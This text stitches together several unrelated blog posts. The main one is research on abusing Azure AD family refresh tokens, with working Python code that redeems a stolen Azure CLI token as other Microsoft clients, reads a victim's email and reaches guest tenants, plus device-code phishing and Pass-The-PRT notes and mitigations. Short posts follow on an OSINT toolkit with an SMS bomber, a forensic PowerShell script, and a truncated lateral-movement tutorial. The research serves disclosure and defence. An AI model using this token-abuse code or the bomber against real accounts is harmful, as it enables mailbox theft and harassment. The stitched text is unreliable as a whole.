Abusing Family Refresh Tokens for Unauthorized Access and Persistence in Azure Active Directory

• Ryan Marcotte Cobb, CTU Special Operations
• Tony Gore, CTU Special Operations

Undocumented functionality in Azure Active Directory allows a group of Microsoft OAuth client applications to obtain special “family refresh tokens,” which can be redeemed for bearer tokens as any other client in the family. We will discuss how this functionality was uncovered, the mechanism behind it, and various attack paths to obtain family refresh tokens. We will demonstrate how this functionality can be abused to access sensitive data. Lastly, we will share relevant information to mitigate the theft of family refresh tokens.

• 2022-03-23: Added 17 new FOCI family client apps to known-foci-clients.csv

• Part 1 – Azure Active Directory and OAuth 2.0
• Part 2 – Introducing Family of Client IDs & Family Refresh Tokens
• Part 3 – Attack Paths
• Part 4 – Mitigations against Family Refresh Tokens
• Conclusion

Azure Active Directory (Azure AD) is a cloud-based identity and access management (IAM) platform developed by Microsoft. Microsoft uses Azure AD as the IAM provider for its own cloud services, such as Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 and OpenID Connect (OIDC) standards as the foundation for its authorization and authentication functionality, respectively. OAuth 2.0 is an authorization framework that lets resource owners (usually end-users) delegate permissions to client applications to access web services on their behalf. The IETF standard for OAuth 2.0 was originally defined in RFC 6749. Additional technical specifications were later ratified to detail use-cases that were not addressed in RFC 6749. Even with active development on the OAuth 2.0 standard, Microsoft pushes the boundaries of its design to support the sheer scale and variety of services that rely on Azure AD.

This research focuses on the OAuth 2.0 implementation in Azure AD. We will highlight a few important differences between the implementation in Azure AD and the OAuth 2.0 specification. We will explore the security implications of these differences and demonstrate how an attacker can abuse Azure AD implementation quirks for privilege escalation and persistent access to Microsoft cloud resources. Lastly, we will share how we weaponized this undocumented feature for red team operations at Secureworks, as well as a few mitigations to protect your organization against it.

The OAuth 2.0 protocol typically involves four participants:

The resource server (RS) is a web service that protects information or capabilities belonging to a resource owner (RO). The resource owner usually represents an end-user. The resource server should only allow the authorized delegates of the resource owner to access the protected resources. The resource server may categorize different kinds of protected resources into scopes. Scopes are granular permissions on the resource server that the resource owner can delegate to client applications (CA).

The resource owner can allow client applications to have limited access to resource servers by explicitly granting consent to specific scopes. Both the resource server and the resource owner trust the authorization server (AS). The authorization server is responsible for keeping track of the scopes on the resource server that the resource owner granted to the client application.

Microsoft 365 is a suite of productivity software-as-a-service solutions, and it uses Azure AD as its IAM provider. Microsoft 365 apps are deeply integrated through a complex web of service dependencies between OAuth applications. Each solution is instantiated as one (or more) OAuth client applications, resource servers, or both in the Azure AD tenant. Many of these Microsoft “first-party” OAuth applications are automatically provisioned in tenant with each deployment of Microsoft 365.

To ensure these dependencies are met, many first-party applications are granted (what Microsoft describes as) “implied consent”, sometimes called “pre-consent” or “pre-authorization”. Microsoft wants to hide this complexity, so first-party client applications and their pre-consented scopes are invisible to users and administrators. Our research focused on these first-party client applications and the sensitive scopes that were “pre-authorized” for them on behalf of all users.

When the resource server receives a web request from a client application, it needs to confirm that the client application has consent and authorization by the resource owner to access the requested resources. As previously stated, the authorization server is responsible for keeping track of what the resource owner delegated to the client application. Therefore, the resource server needs some form of proof from the authorization server that the client application is authorized for what it is requesting.

The OAuth 2.0 specifications define a variety of protocols – called grant flows – involving an authorization server, client application, and (usually) the resource owner. All grant flows result in the authorization server issuing temporary credentials – called bearer tokens – to the client application that will grant access when presented to the resource server. All bearer tokens are issued to the client application by the authorization server.

Here is a simplified diagram of the authentication code grant flow:

Although technically outside of the OAuth 2.0 spec, authorization grant flows typically involve an authentication step (defined in a different protocol, such as OpenID Connect) wherein the resource owner proves their identity to the authentication server. Proof of identity usually requires a password or certificate in addition to other authentication challenges, like multi-factor authentication.

Some grant flows require proof of identity for the user, while others require proof of identity for the application itself. Client applications that have their own passwords or certificates are called “confidential” clients, while clients that do not need their own proof of identity are called “public” clients. It is important to note that an attacker can masquerade as the public client application when requesting tokens from the authorization server. Since public clients do not have their own credentials, the authentication server has no way to prove that the authorization grant originates from the legitimate application.

The examples in this notebook require the msal and pyjwt packages. If not already installed, we can pip install them in the current kernel by uncommenting and running the cell below. After the packages have been installed, we need to restart your kernel before proceeding with the rest of the notebook.

#!pip install -r requirements.txt

import msal
import requests
import jwt
import pandas as pd
pd.options.display.max_rows = 999

from pprint import pprint
from typing import Any, Dict, List

Let’s authorize a Microsoft public client application using Python. In this example, we will complete an device authorization grant flow as the Azure CLI public client application (Client ID: 04b07795-8ddb-461a-bbee-02f9e1bf7b46). Since the Azure CLI is a public client, it does not have its own secrets and Azure AD cannot verify whether the authorization request originates from the legitimate commandline tool or an attacker. We will request bearer tokens authorized for the .default scope on the modern Microsoft Graph. Note that msal automatically adds the offline_access, profile, and openid scopes to the request. The scope offline_access instructs the Azure AD to return a refresh token in addition to an access token and ID token. We will look closer at these tokens shortly.

azure_cli_client = msal.PublicClientApplication(
    "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)

device_flow = azure_cli_client.initiate_device_flow(
    scopes=["https://graph.microsoft.com/.default"]
)

print(device_flow["message"])

After the resource owner authenticates and authorizes the grant flow, the client application can acquire bearer tokens from the authorization server.

azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
    device_flow
)

pprint(azure_cli_bearer_tokens_for_graph_api)

We should now have a set of bearer tokens for the Azure CLI client application.

Bearer tokens get their name because “any party in possession of the token (a “bearer”) can use the token in any way that any other party in possession of it can use.” Bearer tokens expire over time, after which the client application will need a new authorization from the resource owner. The standard representation for bearer tokens are JSON Web Tokens (JWT). Azure AD uses three types of bearer tokens: ID tokens, access tokens, and refresh tokens:

ID tokens contain information about the resource owner, such as their friendly name, user principal name, and location. ID tokens are defined in the OIDC standard and are outside of the scope of this research. We will instead focus on the other two types of tokens.

Access tokens are the credentials used to access protected resources. Client applications must pass an access token with each web request to the resource server. Access tokens represent specific scopes and durations of access that the resource owner authorized for the client application. Note that access tokens contain claims with information about:

• the provenance of the token (iss)
• the resource owner and client application (oid/upn, appid)
• the authorized scopes (scp)
• the issuance and expiration times (iat, exp)
• the resource server (aud)
• the authentication methods that the resource owner used to authorize the client application (amr)
• and much more

Let’s take a closer look at the access token we acquired in the previous example. We will use pyjwt to decode the JSON blob and inspect its contents:

def decode_jwt(base64_blob: str) -> Dict[str, Any]:
    """Decodes base64 encoded JWT blob"""
    return jwt.decode(
        base64_blob, options={"verify_signature": False, "verify_aud": False}
    )


decoded_access_token = decode_jwt(
    azure_cli_bearer_tokens_for_graph_api.get("access_token")
)

pprint(decoded_access_token)

We can pass the access token in the header of a web request to access the Microsoft Graph as the resource owner. The Graph endpoint /me/oauth2PermissionGrants returns a list of OAuth 2.0 permission grants, which represent consent granted by the user to client applications for specific scopes. The same approach can be used to call any other Graph endpoint – so long as the access token contains the necessary scopes. In the case of /me/oauth2PermissionGrants, access tokens must have a scope containing Directory.Read.All, DelegatedPermissionGrant.ReadWrite.All, Directory.ReadWriteAll, or Directory.AccessAsUser.All to call this API endpoint.

def check_my_oauth2PermissionGrants(access_token: str) -> Dict[str, Any]:
    """Lists OAuth2PermissionGrants for the authorized user."""
    url = "https://graph.microsoft.com/beta/me/oauth2PermissionGrants"
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {access_token}",
    }
    return requests.get(url, headers=headers).json()


check_my_oauth2PermissionGrants(
    azure_cli_bearer_tokens_for_graph_api.get("access_token")
)

Note that the Azure CLI client application does not appear in the list of permission grants because it has been “pre-authorized” by Microsoft. There are many of these first-party client applications in an Azure AD tenant by default.

Access tokens expire after a short period of time, usually one hour. Once an access token has expired, the client application will need to obtain a new access token to continue accessing protected resources. The client application can either request authorization from the resource owner again or use a refresh token to obtain new access tokens based on the prior authorization.

Refresh tokens are a special type of bearer token representing the authorization granted by the resource owner to the client application. Client applications can redeem refresh tokens with the authorization server to obtain a new set of bearer tokens (including another refresh token) after the originally issued access token has expired and without requiring new authorization from the resource owner. Refresh tokens are much longer-lived than access tokens; most refresh tokens issued by Azure AD are valid for 90 days. The refresh tokens contain an opaque blob that is encrypted by the authorization server. As such the exact content of refresh tokens is unknown.

Here is a textbook example of a refresh token grant. We are redeeming the previously obtained refresh token for new bearer tokens bound to the same client and scopes as the original authorization:

new_azure_cli_bearer_tokens_for_graph_api = (

    # Same client as original authorization
    azure_cli_client.acquire_token_by_refresh_token( 
        azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),

        # Same scopes as original authorization
        scopes=["https://graph.microsoft.com/.default"], 
    )
)

pprint(new_azure_cli_bearer_tokens_for_graph_api)

Because refresh tokens are long-lived credentials, they are attractive targets for malicious actors. “If an attacker is able to exfiltrate and successfully replay a refresh token, the attacker will be able to mint access tokens and use them to access resource servers on behalf of the resource owner.” The IETF threat model for OAuth 2.0 elucidates the various ways an attacker could obtain refresh tokens.

The OAuth 2.0 specifications include safeguards to mitigate the potential risk from refresh token theft:

• Safeguard #1: Same Scopes – Refresh tokens should only be able “to obtain access tokens with identical or narrower scope” as the original authorization. The most recent guidance from the IETF OAuth working group explains that “refresh tokens MUST be bound to the scope and resource servers as consented by the resource owner… to prevent privilege escalation by the legitimate client and reduce the impact of refresh token leakage.” And if the authorization server issues a new refresh token during a refresh token grant, “the refresh token scope MUST be identical to that of the refresh token included by the client in the request.”

• Safeguard #2: Same Client – Furthermore, refresh tokens are “bound to the client to which it was issued” and the authorization server is responsible for maintaining this binding. The IETF threat model for OAuth2.0 clarifies that the refresh token should be bound to the original client identifier, which the authorization server should validate with each attempt to refresh tokens.

In other words, the level of access provided by a refresh token should reflect what the resource owner originally authorized: for the same scopes, on the same resource server, and as the same client application.

Microsoft has a history of bending these rules with the legacy Azure AD feature called “multi-resource refresh tokens” (MRRTs). MRRTs effectively ignored the first safeguard for refresh tokens (limit access to the previously authorized scopes). Instead, MRRTs acted as “the OAuth2 equivalent of ticket granting tickets (TGTs) in Kerberos; they are artifacts that allow a user to obtain tokens to access resources the directory decides she or he has access to.” (Modern Authentication with Azure Active Directory for Web Applications. Bertocci, Vittorio. 2019. Page 242-243) MRRTs remained bound to the same user and client application, but Azure AD would redeem MRRTs for new bearer tokens scoped to any resources for which the client had been granted consent. Furthermore, MRRTs were not scoped by tenant. Client applications could “use MRRTs to ask for access tokens from any tenant in which the user has a guest account and has already granted consent for the client app originally used to obtain the first refresh token.” [ibid.]

MRRTs are no longer an optional feature; all Azure AD refresh tokens exhibit this behavior today. Microsoft documentation clearly states “Refresh tokens are bound to a combination of user and client, but aren’t tied to a resource or tenant… a client can use a refresh token to acquire access tokens across any combination of resource and tenant where it has permission to do so.”

Here is a demonstration of a refresh token grant, but requesting different scopes than the original authorization. Note the content of the access token and how it differs from the previous examples.

azure_cli_bearer_tokens_for_outlook_api = (

    # Same client as original authorization
    azure_cli_client.acquire_token_by_refresh_token( 
        new_azure_cli_bearer_tokens_for_graph_api.get(
            "refresh_token" 
        ),
        
        # But different scopes than original authorization
        scopes=[
            "https://outlook.office.com/.default" 
        ],  
    )
)

pprint(azure_cli_bearer_tokens_for_outlook_api)

Recent open-source projects (TokenTactics and AADInternals) showed, however, that it is also possible to redeem a refresh token issued to some first-party Microsoft client applications for new bearer tokens issued to a different first-party client application. This is unexpected behavior given refresh tokens safeguard #2 outlined above.

To demonstrate the undocumented behavior, let’s redeem the refresh token acquired from the previous steps to acquire new bearer tokens as a different Microsoft client application.

microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")

microsoft_office_bearer_tokens_for_graph_api = (
    # This is a different client application than we used in the previous examples
    microsoft_office_client.acquire_token_by_refresh_token(
        # But we can use the refresh token issued to our original client application
        azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
        # And request different scopes too
        scopes=["https://graph.microsoft.com/.default"],
    )
)

# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)

The behavior demonstrated in example 6 led us to ask the following research questions:

1. What is the mechanism and purpose behind this undocumented behavior?
2. Which client applications are compatible with each other?
3. And most importantly: since the safeguards placed on refresh tokens were designed to reduce the risks of token replay and privilege escalation, can this behavior be abused for fun and profit?

To learn more, we performed a series of experiments. In these experiments, we brute forced refresh token grants between combinations of known first-party Microsoft OAuth client applications. The list of first-party applications was assembled by scraping GitHub and from the enterprise applications found in our Azure AD test tenant. For each pair of clients, we requested the .default scope for a fixed list of common Azure AD and Microsoft 365 resource servers. After several million combinations of Microsoft client applications, the following pattern emerged in the results:

• Out of a sample size of ~600 first-party Microsoft client applications, only 15 client applications were issued refresh tokens redeemable for new bearer tokens as a different client than the original access token.
• All 15 anomalous client applications were first-party and pre-consented in our Azure AD test tenant.
• All 15 anomalous client applications were public clients, meaning that no additional credentials were required to obtain bearer tokens.
• There was reciprocity between all 15 anomalous client applications; all the anomalous client applications could redeem their refresh tokens for new bearer tokens for any of the other 15 anomalous client applications.
• The scopes authorized to the newly issued access tokens were based on the new client. In other words, the client application and scopes from the original authorization did not matter. We will explore the implications of this in a later section.
• If the same user principal was invited as a B2B guest in a different Azure AD tenant, then refresh tokens issued to any of the 15 anomalous client applications for that user in Tenant A could be redeemed for other anomalous client applications in Tenant B.
• The authorization server returned an extra field in the JSON response when issuing bearer tokens to these 15 anomalous client applications: an additional field named foci. Notice that this field is present in the examples above.

The term “FOCI” is only mentioned once in official Microsoft documentation, which revealed 1) FOCI is an acronym for “Family of Client IDs” and 2) that FOCI is related to signing into multiple Microsoft Office applications on mobile devices. No further information was available on its purpose or functionality.

Error codes in the responses from the authorization server led us to the open-source projects for various Microsoft Identity software development kits (SDKs) hosted on Github. A Github issue titled “Family of Client IDs Support” contained a description of FOCI that aligned with the observed behavior:

“FUTURE SERVER WORK WILL ALLOW CLIENT IDS TO BE GROUPED ON THE SERVER SIDE IN A WAY WHERE A RT FOR ONE CLIENT ID CAN BE REDEEMED FOR A AT AND RT FOR A DIFFERENT CLIENT ID AS LONG AS THEY’RE IN THE SAME GROUP. THIS WILL MOVE US CLOSER TO BEING ABLE TO PROVIDE SSO-LIKE FUNCTIONALITY BETWEEN APPS WITHOUT REQUIRING THE BROKER (OR WORKPLACE JOIN).”

We then found references in the source code calling refresh tokens issued to FOCI clients “family refresh tokens” (or FRTs). Based on developer remarks, it appears there is only one family ID currently in use at Microsoft.

In MSRC submission VULN-057712, Microsoft confirmed that FOCI and family refresh tokens are an intentional software feature. Microsoft engineering provided a thoughtful (and quite lengthy) response describing the origins of FOCI and its threat model, which confirmed the findings from this research. According to Microsoft, FOCI was designed to support pseudo single sign-on (SSO) functionality for Microsoft mobile applications. FOCI mirrors the behavior of mobile operating systems that store authentication artifacts (such as refresh tokens) in a shared token cache with other applications from the same software publisher.

Here is the list of known FOCI “family” clients discovered during our experimentation:

This list is not exhaustive. We believe that the presence of the foci field in final leg of the grant flow is a high confidence indicator that the client belongs to the FOCI “family.” We will add new clients as they are discovered in this repository.

Family refresh tokens are a special kind of refresh token that disregard the token binding safeguards defined in the OAuth 2.0 specifications. Since a family refresh token issued to any “family” client application can be redeemed for access tokens for every/any/all other family client applications, a family refresh token effectively provides the possessor with access to the union of all scopes in the family. This has some serious and likely unintended consequences given that there are hundreds of scopes with pre-consent for these FOCI “family” client applications. Microsoft argued that a risk of refresh token theft applies to all OAuth public clients, which is certainly true. But Microsoft did not acknowledge that family refresh tokens – being unbound to either client application or scope – pose a higher risk of abuse.

To highlight the different levels of access afforded by the access tokens we’ve acquired so far, let’s imagine a scenario where an attacker steals tokens issued to the Azure CLI. This is quite plausible because these tokens are often stored in plain-text on disk in ~/.azure/accessTokens.json.

def read_email_messages(access_token: str) -> List[Dict[str, Any]]:
    """List the user's email messages."""
    url = "https://graph.microsoft.com/beta/me/mailfolders/inbox/messages"
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {access_token}",
    }
    return requests.get(url, headers=headers).json()

If we try to use the access token for the Azure CLI client to call the /beta/me/mailfolders/inbox/messages endpoint, we should receive an error message from the API. This makes sense since the Azure CLI access token does not contain Mail.* related scopes and the Azure CLI has no legitimate reason to read user email.

read_email_messages(azure_cli_bearer_tokens_for_graph_api.get("access_token"))

But if the attacker redeemed the family refresh token issued to the Azure CLI to acquire new tokens for a different client with the necessary scopes (as we did with the Microsoft Office client in example 6), then the attacker could read the victim user’s emails with a newly minted access token instead.

read_email_messages(microsoft_office_bearer_tokens_for_graph_api.get("access_token"))

As defenders, we need to be aware of the blast radius of a stolen (or illictly acquired) family refresh token. It is not documented (or intuitive) that stolen Azure CLI tokens can be used to perform actions that exceed the consent granted to the Azure CLI client application itself.

Family refresh tokens allow privilege escalation relative to the original client application. To be clear, the scopes authorized to newly minted access tokens when redeeming family refresh tokens do not exceed the level of access for the resource owner (user) in the Azure AD directory; it doesn’t allow lower privileged users to do things that they aren’t entitled to do in Azure or Microsoft 365. In other words, the level of access provided by a FRT relative to the user’s directory role assignments is unchanged. In this context, it does not qualify as privilege escalation. But from the OAuth and practical attack perspectives, the level of access provided by family refresh tokens greatly surpasses what the resource owner authorized to any given client application.

Furthermore, redeeming family refresh tokens does not invalidate previously issued refresh tokens. The following examples shows that a single family refresh token can also be used to obtain access tokens for every family client application.

from utils import get_tokens_for_foci_clients

df = get_tokens_for_foci_clients(azure_cli_bearer_tokens_for_graph_api, demo=True)
df.head()

(
    df.assign(
        scp=df.scp.str.split()
    )
    .explode('scp')
    .groupby([
        'scp', 
        'aud', 
        'appid'
    ])
    .size()
    .to_frame()
)

RFC 6819 enumerates a variety of attack paths for malicious actors to obtain refresh tokens, all of which apply to family refresh tokens. Broadly speaking, these attacks involve either 1) stealing a previously and legitimately issued family refresh token or 2) obtaining a family refresh token through malicious authorization.

There are multiple ways to steal family refresh tokens that were previously and legitimately issued to family client applications. For example, if the attacker compromises the cache where the tokens are stored (such as the Windows Web Account Manager), intercepts the tokens over network traffic during a grant flow, or finds them serialized on disk in files (such as the previous example of ~/.Azure/accessTokens.json).

We focused our attention, however, on how an attacker could obtain family refresh tokens by maliciously authorizing a family client application.

Since the known family client applications are all so-called public clients (meaning they don’t have their own secrets), it is possible to use the device authorization grant flow to obtain family refresh tokens. The device authorization grant flow has become synonymous with device code phishing, a popular technique wherein the attacker tricks the victim into authorizing an OAuth application.

During a device code phishing attempt, the victim is presented with information about the client application that is asking for authorization. The convenient benefits of device code phishing with family client applications are 1) user consent is not required and 2) the attacker can use whatever family client application is mostly likely to socially engineer the victim in the request, then redeem its family refresh token for a new access token for a different family client application authorized for the desired scopes.

We leverage device code phishing to great effect during red team engagements, especially with FOCI clients. We have published a tool that we use to perform these attacks on the Secureworks Github.

Another simple and effective method to obtain family refresh tokens is to abuse single sign-on on Azure AD joined devices with Pass-The-PRT attacks. The OAuth 2.0 threat model describes a scenario where an attacker might obtain a refresh token through exploiting some mechanism that automatically authorizes client applications without knowledge or intent from the resource owner. This is trivially possible on Azure AD joined Windows devices with single sign-on enabled.

Any process that executes in the context of a logged-in Azure AD user on an Azure AD-joined Windows device can request a pre-signed cookie from a COM service. This cookie can then be used to complete an authorization grant flow for arbitrary OAuth applications, including family client apps. There are other ways to obtain these signed cookies as well.

Typically, the disadvantage of abusing SSO is that each time the attacker wants access to some scope that was not authorized to the stolen access token, the attacker must request a new signed cookie (or otherwise complete an authorization grant flow again) to obtain a new access token with the desired scopes. In the case of family refresh tokens, even if the attacker only generates a single pre-signed cookie, they can silently exchange the family refresh token multiple times for new access tokens for other family client applications.

We have abused single sign-on to authorize FOCI clients during red team engagements. It is convenient that we can run tools such as AzureHound to minimize interactive user sign-ins when multiple tokens with the necessary scopes.

Conditional access policies still apply to family client applications and family refresh tokens. Conditional access policies that require multi-factor authentication, however, do not impede attackers from abusing legitimately issued family refresh tokens since refresh token grants are always non-interactive and usually inherit the authentication method claims from the original authorization grant. Furthermore, conditional access policies based on trusting the device are ineffective when a family client application is maliciously authorized by abusing SSO because the request does indeed originate from the trusted device.

Any conditional access policies (or other controls) based purely on the family client application identifiers are trivial to bypass if another client in the family also has consent for the desired scopes. We were pleasantly surprised in recent testing that the options for cloud apps in the conditional access policy criteria appear to be based on the resource, rather than the client ID. This is significantly more secure, since defenders can focus on hardening sensitive scopes, rather than playing whack-a-mole with client applications that may be granted consent for those sensitive scopes in the future.

In the response to VULN-057712, Microsoft noted that they plan to improve conditional access policies to allow restricting the issuance of family refresh tokens and unbound refresh tokens in the future.

Whenever a refresh token is used to obtain new bearer tokens, an event will appear in the Azure AD sign-in logs under the “User sign-ins (non-interactive)” tab.

Non-interactive sign-in events are frequently overlooked by defenders. There is currently no indication if the sign-in was done using a family refresh token. Defenders will need to monitor these logs for known FOCI client identifiers, especially when there are bursts of non-interactive sign-ins for multiple FOCI clients in a short period of time. Unfortunately, Microsoft dismissed the idea of publishing the current list of FOCI clients because the “list changes frequently with new apps and removal of old apps.”

Family refresh tokens are long-lived and provide a tremendous level of access to protected resources. Because resetting a compromised user’s password does not automatically invalidate bearer tokens that have already been issued in many circumstances, defenders must aggressively revoke refresh tokens whenever an account is suspected to be compromised.

Connect-AzureAD
Revoke-AzureADUserAllRefreshToken -ObjectId johndoe@contoso.com

A feature called continuous access evaluation (CAE) enables Azure AD to notify resource servers when a “critical event” happens to a user, such as a password reset, letting the resource server reject otherwise valid tokens. CAE is not yet supported by all client applications and resource servers.

Refresh tokens are long-lived credentials that allow anyone in possession to mint new access tokens. The scopes authorized for these access tokens determine the blast radius from refresh token theft. The OAuth 2.0 specifications include safeguards to mitigate potential risk: refresh tokens ought to be bound to the same client application and limited to the same scopes as the original authorization.

The Azure AD implementation of OAuth 2.0 differs from the specification in a few important and undocumented ways. Azure AD does not enforce the safeguards for refresh tokens. All refresh tokens in Azure AD disregard the first safeguard because they are not bound to the same scopes as the original authorization. The recently discovered “Family of Client IDs” (FOCI) feature disregards both safeguards with special “family refresh tokens” (FRTs). FRTs allow the bearer to mint new access tokens for any “family” client application and for any of the scopes that the chosen family client has been granted consent.

While Azure AD asks users to specifically and explicitly delegate access to third-party OAuth applications, Microsoft does not ask the same for first-party applications. Microsoft pre-authorizes many of its own OAuth applications to manage the dependencies between heavily integrated cloud services – providing so-called “implied consent” for users. All the known family client applications identified during our testing were granted implied consent and present by default in our Azure AD test tenant. But the very idea “consent” seems incompatible with the fact that the clients and scopes with pre-authorization remain unknown to users and administrators.

It is reasonable for Microsoft to hide complexity that users and administrators don’t need to worry about. But undocumented features like FOCI have sufficient security implications to warrant informing defenders; anything less is just security through obscurity. Organizations must know how and why first-party applications access their data to determine legitimate business need – and be able to deny access to applications without it.

In response to our MSRC submission Microsoft stated: “in the future we may move away from FOCI completely.” In the interim, the community should encourage Microsoft to publish documentation on FOCI, including a list of family client applications to monitor for potential abuse. We should be prepared to implement Microsoft’s planned improvements to conditional access policies, which would restrict the issuance of family refresh tokens. Lastly, defenders must be vigilant to revoke refresh tokens for any suspected compromised accounts.

def check_tenants_api(access_token: str) -> List[Dict[str, Any]]:
    url = 'https://management.azure.com/tenants?api-version=2020-01-01'
    headers = {
        'Content-Type': 'application/json',
        'Authorization': f'Bearer {access_token}'
    }
    return requests.get(url, headers=headers).json().get('value')


azure_cli_bearer_tokens_for_azure_mgmt_api = (
    azure_cli_client.acquire_token_by_refresh_token( 
        new_azure_cli_bearer_tokens_for_graph_api.get(
            "refresh_token" 
        ),
        scopes=[
            "https://management.core.windows.net/user_impersonation" 
        ],  
    )
)

other_tenants = check_tenants_api(
    azure_cli_bearer_tokens_for_azure_mgmt_api.get('access_token')
)

pprint(other_tenants)

If the victim user is a B2B guest in another tenant, it should appear in the results. Pick a desired tenant ID, then run the following:

tenant_b = input("Provide a tenant ID: ")

microsoft_office_client_tenant_b = msal.PublicClientApplication(
    "d3590ed6-52b3-4102-aeff-aad2292ab01c",
    authority=f"https://login.microsoftonline.com/{tenant_b}"
)

microsoft_office_tenant_b_bearer_tokens_for_graph_api = (
    microsoft_office_client_tenant_b.acquire_token_by_refresh_token(
        azure_cli_bearer_tokens_for_azure_mgmt_api.get("refresh_token"),
        scopes=["https://graph.microsoft.com/.default"],
    )
)

pprint(microsoft_office_tenant_b_bearer_tokens_for_graph_api)

check_my_oauth2PermissionGrants(
    microsoft_office_tenant_b_bearer_tokens_for_graph_api.get("access_token")
)

The post Abusing Family Refresh Tokens For Unauthorized Access And Persistence In Azure Active Directory appeared first on Tech Chronicles.

From extracting information from social media accounts to conducting phone and IP lookups, H4X-Tools offers a wide array of functionalities to aid researchers, developers, and security enthusiasts alike.

Explore its features, installation process, and community-driven development in this article. Toolkit for scraping, OSINT and more.

Submit feature requests and bugs in the issues tab.

If you want to help with the development, follow the instructions in contributing and simply open a pull request. You can also donate to keep the project alive and me motivated!

Current Tools

Warning

Some tools might not work on Windows systems.

Note

-IG Scrape requires you to log in, in order to use it.

-SMS Bomber only works with US numbers.

-You might get rate limited after using some of the tools for too long.

Installation

I’ll upload already built executables to the releases tab, but I’d recommend installing the tool manually by following the instructions below. This way you also get the freshest version.

Setup

Important

Make sure you have Python and Git installed.

View the wiki page for more detailed tutorial.

Linux

1. Clone the repo git clone https://github.com/vil/h4x-tools.git
2. Change directory cd h4x-tools
3. Run sh setup.sh in terminal to install the tool.

Windows

1. Clone the repo git clone https://github.com/vil/h4x-tools.git
2. Change directory cd h4x-tools
3. Run the setup.bat file.

Setup files will automatically build the tool as an executable. You can also run the tool using python h4xtools.py in the terminal.

Also, dependencies can be installed manually using pip install -r requirements.txt.

The post H4X-Tools – Designed for Scraping, OSINT and Beyond appeared first on Tech Chronicles.

The following Incident Response scripts are included:

• DFIR Script: Collects all items as listed in section DFIR Script.
• CollectWindowsEvents: Collects all Windows events and outputs it as CSV.
• CollectWindowsSecurityEvents: Collects all Windows security events and outputs it as CSV.
• CollectPnPDevices: Collects all Plug and Play devices, such as USB, Network and Storage.
• DumpLocalAdmins: Returns all local admins of a device.
• LastLogons – List the last N successful logins of a device.
• ListInstalledSecurityProducts – List the installed security products and their status.
• ListDefenderExclusions – List the FolderPath, FileExtension, Process and IP exclusions that are defined.

DFIR Script – Extracted Artefacts

The DFIR script collects information from multiple sources and structures the output in the current directory in a folder named ‘DFIR-hostname-year-month-date’.

This folder is zipped at the end, so that folder can be remotely collected. This script can also be used within Defender For Endpoint in a Live Response session (see below).

The DFIR script collects the following information when running as normal user:

• Local IP Info
• Open Connections
• Aautorun Information (Startup Folder & Registry Run keys)
• Active Users
• Local Users
• Connections Made From Office Applications
• Active SMB Shares
• RDP Sessions
• Active Processes
• Active USB Connections
• Powershell History
• DNS Cache
• Installed Drivers
• Installed Software
• Running Services
• Scheduled Tasks
• Browser history and profile files

For the best experience run the script as admin, then the following items will also be collected:

• Windows Security Events
• Remotely Opened Files
• Shadow Copies
• MPLogs
• Defender Exclusions

SIEM Import Functionality

The forensic artefacts are exported as CSV files, which allows responders to ingest them into their tooling. Some example tools in which you can ingest the data are Sentinel, Splunk, Elastic or Azure Data Explorer. This will allow you to perform filtering, aggregation and visualisation with your preferred query language.

The folder CSV Results (SIEM Import Data) includes all the CSV files containing the artefacts, the folder listing is shown below.

Name
----
ActiveUsers.csv
AutoRun.csv
ConnectedDevices.csv
DefenderExclusions.csv
DNSCache.csv
Drivers.csv
InstalledSoftware.csv
IPConfiguration.csv
LocalUsers.csv
NetworkShares.csv
OfficeConnections.csv
OpenTCPConnections.csv
PowerShellHistory.csv
Processes.csv
RDPSessions.csv
RemotelyOpenedFiles.csv
RunningServices.csv
ScheduledTasks.csv
ScheduledTasksRunInfo.csv
SecurityEvents.csv
ShadowCopy.csv
SMBShares.csv

DFIR Commands

The DFIR Commands page contains invidividual powershell commands that can be used during your incident response process. The follwing catagories are defined:

• Connections
• Persistence
• Windows Security Events
• Processes
• User & Group Information
• Applications
• File Analysis
• Collect IOC Information

Windows Usage

The script can be excuted by running the following command.

.\DFIR-Script.ps1

The script is unsigned, that could result in having to use the -ExecutionPolicy Bypass to run the script.

Powershell.exe -ExecutionPolicy Bypass .\DFIR-Script.ps1

DFIR Script | Defender For Endpoit Live Response Integration

It is possible to use the DFIR Script in combination with the Defender For Endpoint Live Repsonse. Make sure that Live Response is setup (See DOCS). Since my script is usigned a setting change must be made to able to run the script.

There is a blog article available that explains more about how to leverage Custom Script in Live Response: Incident Response Part 3: Leveraging Live Response

To run unsigned scripts live Response:

• Security.microsoft.com
• Settings
• Endpoints
• Advanced Features
• Make sure that Live Response is enabled
• If you want to run this on a server enable live resonse for servers
• Enable Live Response unsigened script execution

Execute script:

• Go to the device page
• Initiate Live Response session
• Upload File to library to upload script
• After uploading the script to the library execute: run DFIR-script.ps1 to start the script.
• Execute getfile DFIR-DeviceName-yyyy-mm-dd to download the retrieved artifacts to your local machine for analysis.

Docs

• Microsoft Documentation Live Response
• DFE User permissions
• Defender For Endpoint Settings Live Response

The post Powershell Digital Forensics And Incident Response (DFIR) – Leveraging Scripts For Effective Cybersecurity appeared first on Tech Chronicles.

Prerequisites & Requirements

In order to follow along with the tools and techniques utilized in this document, you will need to use one of the following offensive Linux distributions:

• Kali Linux
• Parrot OS

The following is a list of recommended technical prerequisites that you will need in order to get the most out of this technique:

• Familiarity with Linux system administration.
• Familiarity with Windows.
• Functional knowledge of TCP/IP.
• Familiarity with penetration testing concepts and life-cycle.

Note: The techniques and tools utilized in this document were performed on Kali Linux Virtual Machine 

MITRE ATT&CK Lateral Movement Techniques

Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.

The following is a list of key techniques and sub-techniques that we will be exploring:

1. Remote Services
2. Alternate Authentication

Our objective is to utilize clear-text passwords and hashes that we extracted to facilitate lateral movement through legitimate authentication protocols/methods.

Lateral Movement With PsExec

